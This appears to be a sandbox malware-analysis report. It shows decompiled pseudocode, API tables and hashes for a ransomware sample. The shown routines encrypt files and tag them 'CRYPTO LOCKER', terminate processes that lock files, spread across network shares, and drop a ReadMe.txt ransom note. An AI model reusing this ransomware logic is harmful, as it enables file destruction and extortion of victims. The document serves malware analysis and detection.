							_t232 = 0xcbf29ce4;
							_t126 = 2;
							do {
								_t197 = _t196 ^  *_t224;
								_t224 =  &(_t224[2]);
								_a4 = _t126 - 1;
								_t131 = _t197;
								_t135 = _t131 * 0x23462239 ^ _t224[2];
								_t196 = _t135 * 0x23462239;
								_t232 = (( *(_t224 - 4) ^ _t232) * 0x23462239 + (_t131 * 0x23462239 >> 0x00000020) ^ _t224[3]) * 0x23462239 + (_t135 * 0x23462239 >> 0x20);
								_t126 = _a4;
								__eflags = _t126;
							} while (_t126 != 0);
							_t221 = _a16;
							_t204 = (_t232 ^ _t196) >> 0x00000010 ^ _t232 ^ _t196;
							_a11 = _t204;
							_a8 = _t204 >> 0x18;
							_a9 = _t204 >> 0x10;
							_t205 = 0x40;
							_a10 = _t204 >> 8;
							_t238 = 0;
							__eflags = 0;
							do {
								_t143 = _t238;
								asm("cdq");
								_t144 = _t143 / _t205;
								_t212 = _t143 % _t205;
								_t206 = _t212;
								_a4 = _t206;
								__eflags = _t206;
								if(__eflags == 0) {
									asm("cdq");
									_push(_t212);
									_push(_t144);
									E00406890(_t189,  &_a6776, _t221, __eflags);
									_t206 = _a4;
									_t247 = _t247 - 8 + 0x10;
								}
								_t205 = 0x40;
								 *(_t247 + _t238 + 0x1a60) =  *(_t247 + _t238 + 0x1a60) ^  *(_t247 + _t206 + 0x1a90);
								_t238 = _t238 + 1;
								__eflags = _t238 - 0x20;
							} while (_t238 < 0x20);
							WriteFile(_t221,  &_a8, 4,  &_a12, 0); // executed
							WriteFile(_t221,  &_a6728, 0x20,  &_a12, 0); // executed
							WriteFile(_t221, 0x41bec0, 0x20,  &_a12, 0); // executed
							WriteFile(_t221, "CRYPTO LOCKER", 0xd,  &_a12, 0); // executed
						}
						FindCloseChangeNotification(_t221); // executed
						_pop(_t223);
						_pop(_t231);
						__eflags = _a6852 ^ _t247;
						return E0040798D(1, _t189, _a6852 ^ _t247, _t212, _t223, _t231);
					} else {
						_push(2);
						_t169 = SetFilePointerEx(_t221, 0xfffffff3, 0xffffffff, 0); // executed
						if(_t169 != 0) {
							_t172 = ReadFile(_t221,  &_a6760, 0xd,  &_a44, 0); // executed
							if(_t172 != 0) {
								_t211 = "CRYPTO LOCKER";
								_t212 =  &_a6760;
								_t240 = 9;
								while( *_t211 == _t212->LowPart) {
									_t211 = _t211 + 4;
									_t212 =  &(_t212->LowPart.HighPart);
									_t240 = _t240 - 4;
									if(_t240 >= 0) {
										continue;
									} else {
										if( *_t211 != _t212->LowPart) {
											goto L24;
										} else {
											CloseHandle(_t221);
											goto L23;
										}
									}
									goto L40;
								}
							}
						}
						goto L24;
					}
				}
				L40:
			}





























































                                                          0x004025f0
                                                          0x004025f3
                                                          0x004025fb
                                                          0x00402600
                                                          0x00402607
                                                          0x00402610
                                                          0x00402618
                                                          0x0040261c
                                                          0x00402638
                                                          0x0040263d
                                                          0x00402654
                                                          0x0040265b
                                                          0x00402660
                                                          0x0040266d
                                                          0x00402672
                                                          0x00402678
                                                          0x0040267a
                                                          0x00402684
                                                          0x0040268f
                                                          0x00402695
                                                          0x00402697
                                                          0x004026a1
                                                          0x004026b4
                                                          0x004026bd
                                                          0x004026c3
                                                          0x004026c5
                                                          0x004026c7
                                                          0x004026c9
                                                          0x004026cd
                                                          0x004026cf
                                                          0x004026d3
                                                          0x004026d7
                                                          0x004026d7
                                                          0x004026d9
                                                          0x004026df
                                                          0x004026e1
                                                          0x004026f1
                                                          0x004026f3
                                                          0x004026f5
                                                          0x004026fa
                                                          0x00402703
                                                          0x00402703
                                                          0x004026f5
                                                          0x0040270d
                                                          0x0040270e
                                                          0x00402713
                                                          0x00402717
                                                          0x00402717
                                                          0x0040271d
                                                          0x0040271d
                                                          0x00402721
                                                          0x004026c5
                                                          0x0040272b
                                                          0x0040272b
                                                          0x0040263f
                                                          0x00402640
                                                          0x00402640
                                                          0x00402744
                                                          0x00402746
                                                          0x00402748
                                                          0x0040274f
                                                          0x004027bf
                                                          0x004027c1
                                                          0x004027c2
                                                          0x004027d4
                                                          0x00402751
                                                          0x0040275d
                                                          0x004027d5
                                                          0x004027d5
                                                          0x004027da
                                                          0x004027dc
                                                          0x004027e9
                                                          0x004027e9
                                                          0x004027ef
                                                          0x004027f4
                                                          0x004027f9
                                                          0x00402801
                                                          0x00402807
                                                          0x00402809
                                                          0x00402811
                                                          0x00402819
                                                          0x00402820
                                                          0x00402827
                                                          0x0040282b
                                                          0x0040282e
                                                          0x00402836
                                                          0x00402839
                                                          0x00402843
                                                          0x00402847
                                                          0x00402851
                                                          0x00402856
                                                          0x0040285d
                                                          0x00402864
                                                          0x0040286b
                                                          0x00402872
                                                          0x00402877
                                                          0x0040287a
                                                          0x0040287e
                                                          0x00402880
                                                          0x00402886
                                                          0x0040288a
                                                          0x0040288d
                                                          0x0040289c
                                                          0x004028b3
                                                          0x004028b9
                                                          0x004028bb
                                                          0x004028bd
                                                          0x004028c1
                                                          0x004028c3
                                                          0x004028c5
                                                          0x004028c9
                                                          0x004028cb
                                                          0x004028cc
                                                          0x004028cf
                                                          0x004028d8
                                                          0x004028dd
                                                          0x004028de
                                                          0x004028e5
                                                          0x004028fb
                                                          0x004028fb
                                                          0x004028c3
                                                          0x00402905
                                                          0x0040290a
                                                          0x0040290a
                                                          0x0040290e
                                                          0x00402913
                                                          0x00402916
                                                          0x00402919
                                                          0x0040291f
                                                          0x0040292c
                                                          0x00402932
                                                          0x00402934
                                                          0x0040293a
                                                          0x00402941
                                                          0x00402946
                                                          0x0040294b
                                                          0x00402950
                                                          0x00402950
                                                          0x00402952
                                                          0x0040295b
                                                          0x00402968
                                                          0x00402986
                                                          0x0040298f
                                                          0x00402991
                                                          0x00402993
                                                          0x00402997
                                                          0x00402997
                                                          0x0040299b
                                                          0x004029a6
                                                          0x004029aa
                                                          0x004029b1
                                                          0x004029ba
                                                          0x004029c3
                                                          0x004029c8
                                                          0x004029cc
                                                          0x004029cc
                                                          0x004029d0
                                                          0x004029d0
                                                          0x004029d2
                                                          0x004029d3
                                                          0x004029d3
                                                          0x004029d5
                                                          0x004029d7
                                                          0x004029db
                                                          0x004029dd
                                                          0x004029df
                                                          0x004029e7
                                                          0x004029e8
                                                          0x004029ec
                                                          0x004029f1
                                                          0x004029f5
                                                          0x004029f5
                                                          0x004029ff
                                                          0x00402a04
                                                          0x00402a0b
                                                          0x00402a0c
                                                          0x00402a0c
                                                          0x00402a26
                                                          0x00402a3a
                                                          0x00402a4b
                                                          0x00402a5c
                                                          0x00402a5c
                                                          0x00402a64
                                                          0x00402a72
                                                          0x00402a73
                                                          0x00402a74
                                                          0x00402a7e
                                                          0x0040275f
                                                          0x0040275f
                                                          0x00402768
                                                          0x00402770
                                                          0x00402784
                                                          0x0040278c
                                                          0x0040278e
                                                          0x00402793
                                                          0x0040279a
                                                          0x004027a0
                                                          0x004027a6
                                                          0x004027a9
                                                          0x004027ac
                                                          0x004027af
                                                          0x00000000
                                                          0x004027b1
                                                          0x004027b5
                                                          0x00000000
                                                          0x004027b7
                                                          0x004027bd
                                                          0x00000000
                                                          0x004027bd
                                                          0x004027b5
                                                          0x00000000
                                                          0x004027af
                                                          0x004027a0
                                                          0x0040278c
                                                          0x00000000
                                                          0x00402770
                                                          0x0040275d
                                                          0x00000000

                                                          APIs
                                                          • SetFileAttributesW.KERNELBASE(?,00000080,?,?,?,004078ED), ref: 0040261C
                                                          • CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000003,00000000,00000000,?,00000080,?,?,?,004078ED), ref: 00402638
                                                          • CloseHandle.KERNEL32(00000000,?,C0000000,00000000,00000000,00000003,00000000,00000000,?,00000080,?,?,?,004078ED), ref: 00402640
                                                          • RmStartSession.RSTRTMGR(?,00000000,?), ref: 00402672
                                                          • RmRegisterResources.RSTRTMGR(?,00000001,?,00000000,00000000,00000000,00000000), ref: 0040268F
                                                          • RmGetList.RSTRTMGR(?,?,?,?,?), ref: 004026BD
                                                          • GetCurrentProcessId.KERNEL32 ref: 004026D9
                                                          • OpenProcess.KERNEL32(001FFFFF,00000000), ref: 004026EB
                                                          • TerminateProcess.KERNEL32(00000000,00000000), ref: 004026FA
                                                          • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00402703
                                                          • RmEndSession.RSTRTMGR(?), ref: 0040272B
                                                          • CreateFileW.KERNELBASE(?,C0000000,00000001,00000000,00000003,00000080,00000000), ref: 00402744
                                                          • GetFileSize.KERNEL32(00000000,00000000,?,C0000000,00000001,00000000,00000003,00000080,00000000), ref: 00402754
                                                          • SetFilePointerEx.KERNELBASE(00000000,000000F3,000000FF,00000000,00000002,?,C0000000,00000001,00000000,00000003,00000080,00000000), ref: 00402768
                                                          • ReadFile.KERNELBASE(00000000,?,0000000D,?,00000000,?,C0000000,00000001,00000000,00000003,00000080,00000000), ref: 00402784
                                                          • CryptGenRandom.ADVAPI32(006A04B8,00000020,?,?,C0000000,00000001,00000000,00000003,00000080,00000000), ref: 004027E9
                                                          • SetFilePointerEx.KERNELBASE(00000000,?,?,00000000,00000000,?,00000000), ref: 0040289C
                                                          • ReadFile.KERNELBASE(00000000,?,0007D000,?,00000000,?,00000000), ref: 004028B3
                                                          • SetFilePointerEx.KERNELBASE(00000000,?,?,00000000,00000001,?,?,?,00000000), ref: 004028E5
                                                          • WriteFile.KERNELBASE(00000000,?,?,?,00000000,?,00000000,00000001,?,?,?,00000000), ref: 004028FB
                                                          • SetFilePointerEx.KERNELBASE(00000000,?,?,00000000,00000002,?,?,00000000), ref: 0040292C
                                                          • WriteFile.KERNELBASE(?,?,00000004,?,00000000,?,?,00000000), ref: 00402A26
                                                          • WriteFile.KERNELBASE(?,?,00000020,?,00000000,?,?,00000000), ref: 00402A3A
                                                          • WriteFile.KERNELBASE(?,0041BEC0,00000020,?,00000000,?,?,00000000), ref: 00402A4B
                                                          • WriteFile.KERNELBASE(?,CRYPTO LOCKER,0000000D,?,00000000,?,?,00000000), ref: 00402A5C
                                                          • FindCloseChangeNotification.KERNELBASE(00000000,?,?,00000000), ref: 00402A64
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: File$Write$Pointer$Process$CloseCreateReadSession$AttributesChangeCryptCurrentFindHandleListNotificationObjectOpenRandomRegisterResourcesSingleSizeStartTerminateWait
                                                          • String ID: 2-by$9"F#$9"F#$9"F#$9"F#$CRYPTO LOCKER$expa$nd 3$te k
                                                          • API String ID: 1794939673-929254038
                                                          • Opcode ID: 53bdd1a02498269cd2d87a8514e8191cfabe644d42c37414f94eab3458c69490
                                                          • Instruction ID: 5f7a87cda64364885740c709163b3fa66c2741f47f6448b33d46233f530ead5d
                                                          • Opcode Fuzzy Hash: 53bdd1a02498269cd2d87a8514e8191cfabe644d42c37414f94eab3458c69490
                                                          • Instruction Fuzzy Hash: A3D1B371604300AFD720DF25CD45BABBBE8EB89714F00452EF589E72D0DB74EA458B9A
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 00407540 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 218stringsharefileCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          C-Code - Quality: 86%
                                                          			E00407540(signed int __edx, struct _NETRESOURCE* _a4) {
				signed int _v12;
				struct _WIN32_FIND_DATAW _v608;
				WCHAR* _v612;
				int _v616;
				struct _NETRESOURCE* _v620;
				int _v624;
				void* _v628;
				void* _v632;
				struct _OVERLAPPED* _v636;
				void* _v640;
				long _v644;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t53;
				int _t56;
				void* _t58;
				int _t61;
				struct _NETRESOURCE* _t66;
				void* _t73;
				WCHAR* _t76;
				int _t78;
				WCHAR* _t89;
				WCHAR* _t91;
				signed int _t97;
				void* _t103;
				struct _OVERLAPPED* _t108;
				WCHAR* _t111;
				void* _t112;
				WCHAR* _t114;
				WCHAR* _t115;
				WCHAR* _t116;
				void* _t117;
				WCHAR* _t118;
				signed int _t119;
				void* _t120;
				void* _t121;

				_t110 = __edx;
				_t53 =  *0x41a000; // 0xdd666744
				_v12 = _t53 ^ _t119;
				_v616 = 0xffffffff;
				_v624 = 0x4000;
				_t56 = WNetOpenEnumW(2, 0, 0x13, _a4,  &_v628); // executed
				if(_t56 != 0) {
					L31:
					return E0040798D(_t56, _t103, _v12 ^ _t119, _t110, _t111, _t112);
				}
				_push(_v624);
				_t58 = E0040944B(); // executed
				_t112 = _t58;
				_t121 = _t120 + 4;
				_v640 = _t112;
				if(_t112 == 0) {
					L30:
					_t56 = WNetCloseEnum(_v628);
					goto L31;
				}
				_t61 = WNetEnumResourceW(_v628,  &_v616, _t112,  &_v624); // executed
				if(_t61 != 0) {
					L29:
					E00409430(_t112);
					goto L30;
				} else {
					_t103 = lstrcmpiW;
					do {
						_v636 = 0;
						if(_v616 <= 0) {
							goto L28;
						}
						_t66 = _t112;
						_v620 = _t112;
						do {
							if(( *(_t66 + 0xc) & 0x00000002) == 0) {
								WNetAddConnection2W(_t66, 0, 0, 0);
								_push(2);
								_push(0x8000);
								_t114 =  *(_v620 + 0x14);
								_v612 = _t114;
								_t111 = E004095E9();
								_t121 = _t121 + 8;
								__eflags = _t111;
								if(_t111 == 0) {
									goto L26;
								}
								lstrcpyW(_t111, _t114);
								lstrcatW(_t111, L"\\*");
								_t73 = FindFirstFileW(_t111,  &_v608);
								_v632 = _t73;
								__eflags = _t73 - 0xffffffff;
								if(_t73 == 0xffffffff) {
									L24:
									E00409430(_t111);
									L25:
									_t121 = _t121 + 4;
									goto L26;
								}
								asm("o16 nop [eax+eax]");
								do {
									_t115 = 0;
									__eflags = 0;
									while(1) {
										_t22 = _t115 + 0x417d38; // 0x417d60
										_t76 = lstrcmpiW( &(_v608.cFileName),  *_t22);
										__eflags = _t76;
										if(_t76 == 0) {
											break;
										}
										_t115 = _t115 + 4;
										__eflags = _t115 - 0x18;
										if(_t115 < 0x18) {
											continue;
										}
										_t116 = _v612;
										wsprintfW(_t111, L"%ls\\%ls", _t116,  &(_v608.cFileName));
										_t121 = _t121 + 0x10;
										__eflags = _v608.dwFileAttributes & 0x00000010;
										if(__eflags == 0) {
											_t89 = StrStrIW( &(_v608.cFileName), L".MMM");
											__eflags = _t89;
											if(_t89 != 0) {
												goto L21;
											}
											_t91 = lstrcmpW( &(_v608.cFileName), L"ReadMe.txt");
											__eflags = _t91;
											if(_t91 == 0) {
												goto L21;
											}
											_push(4);
											_push(lstrlenW(_t111) + 1);
											_t118 = E004095E9();
											_t121 = _t121 + 8;
											__eflags = _t118;
											if(_t118 != 0) {
												lstrcpyW(_t118, _t111);
												WaitForSingleObject( *0x41b9e4, 0xffffffff);
												EnterCriticalSection(0x41bea4);
												_t97 =  *0x41bea0; // 0xf2
												 *0x41be98 =  *0x41be98 + 1;
												 *(0x41b9e8 + _t97 * 4) = _t118;
												asm("cdq");
												_t34 = (_t97 + 1) % 0x12c;
												__eflags = _t34;
												_t110 = _t34;
												 *0x41bea0 = _t34;
												LeaveCriticalSection(0x41bea4);
												ReleaseSemaphore( *0x41be9c, 1, 0);
											}
											break;
										}
										E00407320(_t110, __eflags, _t111);
										_t121 = _t121 + 4;
										goto L21;
									}
									_t116 = _v612;
									L21:
									_t78 = FindNextFileW(_v632,  &_v608);
									__eflags = _t78;
								} while (_t78 != 0);
								FindClose(_v632);
								wsprintfW(_t111, L"%ls\\%ls", _t116, L"ReadMe.txt");
								_t121 = _t121 + 0x10;
								_t117 = CreateFileW(_t111, 0x40000000, 1, 0, 1, 0x80, 0);
								__eflags = _t117 - 0xffffffff;
								if(_t117 != 0xffffffff) {
									WriteFile(_t117, "Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv", lstrlenA("Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv"),  &_v644, 0);
									CloseHandle(_t117);
								}
								goto L24;
							}
							E00407540(_t110, _t66); // executed
							goto L25;
							L26:
							_t108 =  &(_v636->Internal);
							_t66 = _v620 + 0x20;
							_v636 = _t108;
							_v620 = _t66;
						} while (_t108 < _v616);
						_t112 = _v640;
						L28:
					} while (WNetEnumResourceW(_v628,  &_v616, _t112,  &_v624) == 0);
					goto L29;
				}
			}








































                                                          0x00407540
                                                          0x00407549
                                                          0x00407550
                                                          0x00407567
                                                          0x00407571
                                                          0x0040757b
                                                          0x00407583
                                                          0x00407864
                                                          0x00407874
                                                          0x00407874
                                                          0x00407589
                                                          0x0040758f
                                                          0x00407594
                                                          0x00407596
                                                          0x00407599
                                                          0x004075a1
                                                          0x00407858
                                                          0x0040785e
                                                          0x00000000
                                                          0x0040785e
                                                          0x004075bc
                                                          0x004075c4
                                                          0x0040784f
                                                          0x00407850
                                                          0x00000000
                                                          0x004075ca
                                                          0x004075ca
                                                          0x004075d0
                                                          0x004075d7
                                                          0x004075e1
                                                          0x00000000
                                                          0x00000000
                                                          0x004075e7
                                                          0x004075e9
                                                          0x004075f0
                                                          0x004075f4
                                                          0x00407608
                                                          0x00407614
                                                          0x00407616
                                                          0x0040761b
                                                          0x0040761e
                                                          0x00407629
                                                          0x0040762b
                                                          0x0040762e
                                                          0x00407630
                                                          0x00000000
                                                          0x00000000
                                                          0x00407638
                                                          0x00407644
                                                          0x00407652
                                                          0x00407658
                                                          0x0040765e
                                                          0x00407661
                                                          0x004077f5
                                                          0x004077f6
                                                          0x004077fb
                                                          0x004077fb
                                                          0x00000000
                                                          0x004077fb
                                                          0x00407667
                                                          0x00407670
                                                          0x00407670
                                                          0x00407670
                                                          0x00407672
                                                          0x00407672
                                                          0x0040767f
                                                          0x00407681
                                                          0x00407683
                                                          0x00000000
                                                          0x00000000
                                                          0x00407689
                                                          0x0040768c
                                                          0x0040768f
                                                          0x00000000
                                                          0x00000000
                                                          0x00407691
                                                          0x004076a5
                                                          0x004076ab
                                                          0x004076ae
                                                          0x004076b5
                                                          0x004076d1
                                                          0x004076d7
                                                          0x004076d9
                                                          0x00000000
                                                          0x00000000
                                                          0x004076eb
                                                          0x004076f1
                                                          0x004076f3
                                                          0x00000000
                                                          0x00000000
                                                          0x004076f5
                                                          0x004076ff
                                                          0x00407705
                                                          0x00407707
                                                          0x0040770a
                                                          0x0040770c
                                                          0x00407710
                                                          0x0040771e
                                                          0x00407729
                                                          0x0040772f
                                                          0x00407739
                                                          0x00407744
                                                          0x0040774c
                                                          0x0040774d
                                                          0x0040774d
                                                          0x0040774d
                                                          0x0040774f
                                                          0x00407755
                                                          0x00407765
                                                          0x00407765
                                                          0x00000000
                                                          0x0040770c
                                                          0x004076b8
                                                          0x004076bd
                                                          0x00000000
                                                          0x004076bd
                                                          0x0040776b
                                                          0x00407771
                                                          0x0040777e
                                                          0x00407784
                                                          0x00407784
                                                          0x00407792
                                                          0x004077a4
                                                          0x004077aa
                                                          0x004077c6
                                                          0x004077c8
                                                          0x004077cb
                                                          0x004077e8
                                                          0x004077ef
                                                          0x004077ef
                                                          0x00000000
                                                          0x004077cb
                                                          0x004075f7
                                                          0x00000000
                                                          0x004077fe
                                                          0x0040780a
                                                          0x0040780b
                                                          0x0040780e
                                                          0x00407814
                                                          0x0040781a
                                                          0x00407826
                                                          0x0040782c
                                                          0x00407847
                                                          0x00000000
                                                          0x004075d0

                                                          APIs
                                                          • WNetOpenEnumW.MPR(00000002,00000000,00000013,?,?), ref: 0040757B
                                                          • WNetEnumResourceW.MPR(?,FFFFFFFF,00000000,00004000), ref: 004075BC
                                                          • WNetAddConnection2W.MPR(00000000,00000000,00000000,00000000), ref: 00407608
                                                          • lstrcpyW.KERNEL32 ref: 00407638
                                                          • lstrcatW.KERNEL32(00000000,00417EC4), ref: 00407644
                                                          • FindFirstFileW.KERNEL32(00000000,?), ref: 00407652
                                                          • lstrcmpiW.KERNEL32(?,00417D60), ref: 0040767F
                                                          • wsprintfW.USER32 ref: 004076A5
                                                          • StrStrIW.SHLWAPI(?,.MMM), ref: 004076D1
                                                          • lstrcmpW.KERNEL32(?,ReadMe.txt), ref: 004076EB
                                                          • lstrlenW.KERNEL32(00000000,00000004), ref: 004076F8
                                                          • lstrcpyW.KERNEL32 ref: 00407710
                                                          • WaitForSingleObject.KERNEL32(000000FF), ref: 0040771E
                                                          • EnterCriticalSection.KERNEL32(0041BEA4), ref: 00407729
                                                          • LeaveCriticalSection.KERNEL32(0041BEA4), ref: 00407755
                                                          • ReleaseSemaphore.KERNEL32(00000001,00000000), ref: 00407765
                                                          • FindNextFileW.KERNEL32(?,?), ref: 0040777E
                                                          • FindClose.KERNEL32(?), ref: 00407792
                                                          • wsprintfW.USER32 ref: 004077A4
                                                          • CreateFileW.KERNEL32(00000000,40000000,00000001,00000000,00000001,00000080,00000000), ref: 004077C0
                                                          • lstrlenA.KERNEL32(Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv,?,00000000), ref: 004077DB
                                                          • WriteFile.KERNEL32(00000000,Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv,00000000), ref: 004077E8
                                                          • CloseHandle.KERNEL32(00000000), ref: 004077EF
                                                          • WNetEnumResourceW.MPR(?,00000000,00000000,00004000), ref: 00407841
                                                          • WNetCloseEnum.MPR(?), ref: 0040785E
                                                          Strings
                                                          • Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv, xrefs: 004077D6, 004077E2
                                                          • ReadMe.txt, xrefs: 004076DF, 00407798
                                                          • .MMM, xrefs: 004076C5
                                                          • %ls\%ls, xrefs: 0040769F, 0040779E
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.634213262.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_AddInProcess32.jbxd
                                                          Similarity
                                                          • API ID: EnumFile$CloseFind$CriticalResourceSectionlstrcpylstrlenwsprintf$Connection2CreateEnterFirstHandleLeaveNextObjectOpenReleaseSemaphoreSingleWaitWritelstrcatlstrcmplstrcmpi
                                                          • String ID: %ls\%ls$.MMM$Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv$ReadMe.txt
                                                          • API String ID: 838047166-358114327
                                                          • Opcode ID: 93a09a13a7583f6c8bb3ad9ad6490d445c6050dcbf7582b80f7dd1338fdb979a
                                                          • Instruction ID: 25780c9aac1e35e72bf93e973027471eeb613a3cf1106f8e7955081bd21d0170
                                                          • Opcode Fuzzy Hash: 93a09a13a7583f6c8bb3ad9ad6490d445c6050dcbf7582b80f7dd1338fdb979a
                                                          • Instruction Fuzzy Hash: E681B471944218ABDB20AF20DC8DFEA7BB8EB04715F1041B6F509B22E0D7796E85CF59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Function 00407320 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 150stringfilesynchronizationCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          C-Code - Quality: 85%
                                                          			E00407320(signed int __edx, void* __eflags, WCHAR* _a4) {
				signed int _v12;
				struct _WIN32_FIND_DATAW _v608;
				WCHAR* _v612;
				long _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t27;
				WCHAR* _t29;
				void* _t34;
				int _t36;
				int _t38;
				void* _t41;
				WCHAR* _t54;
				signed int _t57;
				WCHAR* _t62;
				WCHAR* _t67;
				void* _t68;
				void* _t69;
				WCHAR* _t70;
				WCHAR* _t71;
				signed int _t72;
				void* _t73;
				void* _t74;

				_t66 = __edx;
				_t27 =  *0x41a000; // 0xdd666744
				_v12 = _t27 ^ _t72;
				_t62 = _a4;
				_push(2);
				_push(0x8000);
				_v612 = _t62;
				_t29 = E004095E9(); // executed
				_t67 = _t29;
				_t74 = _t73 + 8;
				if(_t67 == 0) {
					L17:
					return E0040798D(_t29, _t62, _v12 ^ _t72, _t66, _t67, _t68);
				}
				lstrcpyW(_t67, _t62);
				lstrcatW(_t67, L"\\*");
				_t34 = FindFirstFileW(_t67,  &_v608); // executed
				_v616 = _t34;
				if(_t34 == 0xffffffff) {
					L16:
					_t29 = E00409430(_t67); // executed
					goto L17;
				} else {
					_t62 = lstrcmpiW;
					do {
						_t69 = 0;
						while(1) {
							_t6 = _t69 + 0x417d38; // 0x417d60
							_t36 = lstrcmpiW( &(_v608.cFileName),  *_t6); // executed
							if(_t36 == 0) {
								break;
							}
							_t69 = _t69 + 4;
							if(_t69 < 0x18) {
								continue;
							}
							_t70 = _v612;
							wsprintfW(_t67, L"%ls\\%ls", _t70,  &(_v608.cFileName));
							_t74 = _t74 + 0x10;
							_t82 = _v608.dwFileAttributes & 0x00000010;
							if((_v608.dwFileAttributes & 0x00000010) == 0) {
								__eflags = StrStrIW( &(_v608.cFileName), L".MMM");
								if(__eflags != 0) {
									goto L13;
								}
								__eflags = lstrcmpW( &(_v608.cFileName), L"ReadMe.txt");
								if(__eflags == 0) {
									goto L13;
								}
								_push(4);
								_push(lstrlenW(_t67) + 1); // executed
								_t54 = E004095E9(); // executed
								_t71 = _t54;
								_t74 = _t74 + 8;
								__eflags = _t71;
								if(__eflags != 0) {
									lstrcpyW(_t71, _t67);
									WaitForSingleObject( *0x41b9e4, 0xffffffff);
									EnterCriticalSection(0x41bea4);
									_t57 =  *0x41bea0; // 0xf2
									 *0x41be98 =  *0x41be98 + 1;
									 *(0x41b9e8 + _t57 * 4) = _t71;
									asm("cdq");
									_t18 = (_t57 + 1) % 0x12c;
									__eflags = _t18;
									_t66 = _t18;
									 *0x41bea0 = _t18;
									LeaveCriticalSection(0x41bea4);
									ReleaseSemaphore( *0x41be9c, 1, 0);
								}
								break;
							}
							E00407320(_t66, _t82, _t67); // executed
							_t74 = _t74 + 4;
							goto L13;
						}
						_t70 = _v612;
						L13:
						_t38 = FindNextFileW(_v616,  &_v608); // executed
					} while (_t38 != 0);
					FindClose(_v616); // executed
					wsprintfW(_t67, L"%ls\\%ls", _t70, L"ReadMe.txt");
					_t74 = _t74 + 0x10;
					_t41 = CreateFileW(_t67, 0x40000000, 1, 0, 1, 0x80, 0); // executed
					_t68 = _t41;
					if(_t68 != 0xffffffff) {
						WriteFile(_t68, "Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv", lstrlenA("Attention! All your files, documents, photos, databases and other important files are encryptedThe only method of recovering files is to purchase an unique decryptor. Only we can give you this decryptor and only we can recover your files.The serv"),  &_v616, 0); // executed
						FindCloseChangeNotification(_t68); // executed
					}
					goto L16;
				}
			}



























                                                          0x00407320
                                                          0x00407329
                                                          0x00407330
                                                          0x00407334
                                                          0x00407339
                                                          0x0040733b
                                                          0x00407340
                                                          0x00407346
                                                          0x0040734b
                                                          0x0040734d
                                                          0x00407352
                                                          0x00407522
                                                          0x00407532
                                                          0x00407532
                                                          0x0040735a
                                                          0x00407366
                                                          0x00407374
                                                          0x0040737a
                                                          0x00407383
                                                          0x00407519
                                                          0x0040751a
                                                          0x00000000
                                                          0x00407389
                                                          0x00407389
                                                          0x00407390
                                                          0x00407390
                                                          0x00407392
                                                          0x00407392
                                                          0x0040739f
                                                          0x004073a3
                                                          0x00000000
                                                          0x00000000
                                                          0x004073a9
                                                          0x004073af
                                                          0x00000000
                                                          0x00000000
                                                          0x004073b1
                                                          0x004073c5
                                                          0x004073cb
                                                          0x004073ce
                                                          0x004073d5
                                                          0x004073f7
                                                          0x004073f9
                                                          0x00000000
                                                          0x00000000
                                                          0x00407411
                                                          0x00407413
                                                          0x00000000
                                                          0x00000000
                                                          0x00407419
                                                          0x00407423
                                                          0x00407424
                                                          0x00407429
                                                          0x0040742b
                                                          0x0040742e
                                                          0x00407430
                                                          0x00407434
                                                          0x00407442
                                                          0x0040744d
                                                          0x00407453
                                                          0x0040745d
                                                          0x00407468
                                                          0x00407470
                                                          0x00407471
                                                          0x00407471
                                                          0x00407471
                                                          0x00407473
                                                          0x00407479
                                                          0x00407489
                                                          0x00407489
                                                          0x00000000
                                                          0x00407430
                                                          0x004073d8
                                                          0x004073dd
                                                          0x00000000
                                                          0x004073dd
                                                          0x0040748f
                                                          0x00407495
                                                          0x004074a2
                                                          0x004074a8
                                                          0x004074b6
                                                          0x004074c8
                                                          0x004074ce
                                                          0x004074e4
                                                          0x004074ea
                                                          0x004074ef
                                                          0x0040750c
                                                          0x00407513
                                                          0x00407513
                                                          0x00000000
                                                          0x004074ef

                                                          APIs
                                                          • lstrcpyW.KERNEL32 ref: 0040735A
                                                          • lstrcatW.KERNEL32(00000000,00417EC4), ref: 00407366
                                                          • FindFirstFileW.KERNELBASE(00000000,?), ref: 00407374
                                                          • lstrcmpiW.KERNELBASE(?,00417D60), ref: 0040739F
                                                          • wsprintfW.USER32 ref: 004073C5
                                                          • StrStrIW.SHLWAPI(?,.MMM), ref: 004073F1
                                                          • lstrcmpW.KERNEL32(?,ReadMe.txt), ref: 0040740B
                                                          • lstrlenW.KERNEL32(00000000,00000004), ref: 0040741C
                                                          • lstrcpyW.KERNEL32 ref: 00407434
                                                          • WaitForSingleObject.KERNEL32(000000FF), ref: 00407442
